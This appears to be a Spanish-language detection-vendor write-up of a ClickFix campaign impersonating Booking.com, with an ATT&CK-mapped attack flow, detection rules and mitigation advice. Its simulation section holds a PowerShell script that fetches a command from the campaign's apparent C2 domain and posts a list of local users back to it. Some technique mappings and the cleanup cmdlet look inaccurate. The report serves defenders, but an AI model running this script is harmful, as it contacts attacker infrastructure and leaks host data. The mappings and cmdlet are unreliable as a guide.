Analizando una cadena de ataque completa de ClickFix (parte 1)
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
El informe describe una campaña de ClickFix en la que un sitio web malicioso se hace pasar por Booking.com para persuadir a los usuarios a copiar y ejecutar un comando de PowerShell. Una vez ejecutado, el comando lanza un script de PowerShell sin archivo que descarga un archivo ZIP de segunda etapa. El droppper recolecta información del host, escribe la carga útil en el directorio temporal, y crea persistencia tanto a través de una clave de registro Run como de una tarea programada. La cadena completa de infección se basa en contenido web convincente y en la ejecución impulsada por el usuario en lugar de un exploit obvio.
Investigación
Los analistas de Stormshield capturaron el JavaScript responsable de recuperar un comando de PowerShell de un dominio de comando y control y colocarlo en el portapapeles del usuario. También analizaron el droppper de PowerShell, que recolectó información detallada del sistema a través de consultas WMI y variables de entorno antes de exfiltrar los datos mediante una solicitud GET. El mismo droppper luego descargó un archivo ZIP de un segundo dominio, extrajo su contenido y configuró la persistencia en el host comprometido. Los investigadores mapearon los comportamientos y técnicas observadas con sus respectivos identificadores MITRE ATT&CK.
Mitigación
Las organizaciones deben bloquear los dominios maliciosos y URLs vinculados a la campaña ClickFix y aplicar un filtro web estricto para reducir la exposición a páginas de aterrizaje de tipo phishing. Los defensores deben monitorear la ejecución de PowerShell con indicadores como -ExecutionPolicy Bypass y configuraciones de ventana oculta, al tiempo que limitan la ejecución de scripts de PowerShell sin firmar a través del control de aplicaciones. Las detecciones adicionales deben centrarse en la creación de claves de registro Run sospechosas y tareas programadas con nombres desconocidos.
Respuesta
Los equipos de seguridad deben alertar sobre el tráfico saliente hacia los dominios de comando y control identificados y sobre líneas de comando de PowerShell que utilicen Invoke-Expression para ejecutar contenido recuperado remotamente. La lógica de detección también debe cubrir la creación del valor de registro Run específico y el nombre de la tarea programada asociada con la campaña. Si se confirma la actividad, aísle el punto final inmediatamente, recolecte evidencia volátil y realice una revisión forense de los archivos temporales y la carga útil descargada.
"graph TB %% Definiciones de Clase classDef action fill:#99ccff classDef technique fill:#ffeb99 classDef tool fill:#ccffcc classDef process fill:#ffcccc classDef persistence fill:#ddddff %% Nodos action_initial["<b>Acción</b> – Acceso Inicial: Página web de copia-pega malicioso"] tech_user_exec["<b>Técnica</b> – T1204.004 Ejecución del Usuario: Copia y pega malicioso"] process_ps["<b>Proceso</b> – Comando PowerShell copiado al portapapeles"] tech_ps["<b>Técnica</b> – T1059.001 PowerShell"] tech_process_inject["<b>Técnica</b> – T1055.011 Inyección de Proceso"] action_discovery["<b>Acción</b> – Descubrimiento del Sistema"] tech_account_discovery["<b>Técnica</b> – T1087 Descubrimiento de Cuenta"] tech_security_sw["<b>Técnica</b> – T1518.001 Descubrimiento de Software de Seguridad"] tech_time_discovery["<b>Técnica</b> – T1124 Descubrimiento de Hora del Sistema"] action_c2["<b>Acción</b> – Comando y Control"] tech_http_c2["<b>Técnica</b> – T1071.001 Protocolos Web (HTTP)"] action_download["<b>Acción</b> – Descarga de Carga Útil"] tech_ingress["<b>Técnica</b> – T1105 Transferencia de Herramientas de Ingreso"] action_deploy["<b>Acción</b> – Desplegar carga útil (Extracción ZIP)"] action_persistence["<b>Acción</b> – Establecimiento de Persistencia"] tech_registry_run["<b>Técnica</b> – T1547.001 Claves de Run del Registro / Carpeta de Inicio"] tech_scheduled_task["<b>Técnica</b> – T1053.005 Tarea/Trabajo Programado: Al Iniciar Sesión"] action_final["<b>Acción</b> – Ejecución final de la carga útil"] process_payload["<b>Proceso</b> – Ejecutable o archivo por lotes extraído"] %% Conexiones action_initial –>|dispara| tech_user_exec tech_user_exec –>|lleva a| process_ps process_ps –>|ejecuta| tech_ps tech_ps –>|puede realizar| tech_process_inject tech_process_inject –>|habilita| action_discovery action_discovery –>|usa| tech_account_discovery action_discovery –>|usa| tech_security_sw action_discovery –>|usa| tech_time_discovery action_discovery –>|envía datos a| action_c2 action_c2 –>|usa| tech_http_c2 action_c2 –>|dispara| action_download action_download –>|usa| tech_ingress action_download –>|almacena archivo en| action_deploy action_deploy –>|crea| action_persistence action_persistence –>|usa| tech_registry_run action_persistence –>|recurre| tech_scheduled_task action_persistence –>|habilita| action_final action_final –>|lanza| process_payload %% Asignaciones de Clase class action_initial action class tech_user_exec technique class process_ps process class tech_ps technique class tech_process_inject technique class action_discovery action class tech_account_discovery technique class tech_security_sw technique class tech_time_discovery technique class action_c2 action class tech_http_c2 technique class action_download action class tech_ingress technique class action_deploy action class action_persistence action class tech_registry_run technique class tech_scheduled_task technique class action_final action class process_payload process "
Flujo de Ataque
Detecciones
Puntos de Persistencia Posibles [ASEPs – Hive de Software/NTUSER] (vía registry_event)
Ver
Descargar o Subir a través de PowerShell (vía cmdline)
Ver
Llamar Métodos .NET Sospechosos desde PowerShell (vía PowerShell)
Ver
Schtasks Apunta a Directorio / Binario / Script Sospechoso (vía cmdline)
Ver
Posible Descubrimiento de Información del Sistema Usando el Módulo Wmi PowerShell (vía PowerShell)
Ver
Detección de Ejecución Maliciosa de PowerShell con Técnica ClickFix [Windows PowerShell]
Ver
Detectar Comando de Phishing ClickFix y Telemetría [Servidor Web]
Ver
Ejecución de Simulación
Prerrequisito: La Comprobación Preliminar de Telemetría & Línea Base debe haber pasado.
Razonamiento: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTP identificados y apuntar a generar la telemetría exacta esperado por la lógica de detección.
-
Narrativa & Comandos de Ataque:
Un atacante, habiendo obtenido un punto de apoyo en una estación de trabajo interna comprometida, emite un comando de PowerShell de una línea que contacta la URL de C2 de ClickFix con el?get_command=1parámetro vía un POST HTTP. El servidor devuelve una carga útil de PowerShell que enumera las cuentas de usuario locales (T1087), verifica la hora del sistema (T1124), descubre productos de seguridad instalados (T1518.001), y luego copia el resultado al portapapeles. El contenido del portapapeles se publica posteriormente de vuelta en el servidor ClickFix para exfiltración, cumpliendo T1204.004 y T1547.001. Este patrón de tráfico exacto coincide con la regla Sigmarequest_uri|contains: "?get_command=1"andhttp_method: POSTcondiciones. -
Guion de Prueba de Regresión:
# Simulación de Fetch de Comando ClickFix – activa la regla Sigma $url = "https://accountpulsecentre.help/ern-ZIoCCeHgBJpt2g33q1ZHZmrC2jCoRE1hGJ5O38s?get_command=1" $payload = @{ dummy = "data" } # Enviar la solicitud POST maliciosa $response = Invoke-WebRequest -Uri $url -Method POST -Body ($payload | ConvertTo-Json) -ContentType "application/json" # Simular ejecución del comando PowerShell obtenido (simplificado) $psCommand = $response.Content Write-Output "Comando obtenido: $psCommand" # Para demostración, ejecute un subconjunto inofensivo (e.g., obtener usuarios locales) y copie al portapapeles $users = Get-LocalUser | Select-Object -ExpandProperty Name $usersString = $users -join "`n" Set-Clipboard -Value $usersString # Exfiltrar contenido del portapapeles de vuelta en el servidor ClickFix (simulado) $exfilUrl = "https://accountpulsecentre.help/collect" Invoke-WebRequest -Uri $exfilUrl -Method POST -Body @{clipboard=$usersString} -ContentType "application/x-www-form-urlencoded" -
Comandos de Limpieza:
# Elimine cualquier archivo temporal o artefactos creados durante la prueba Clear-Clipboard Write-Output "Limpieza completa – portapapeles borrado."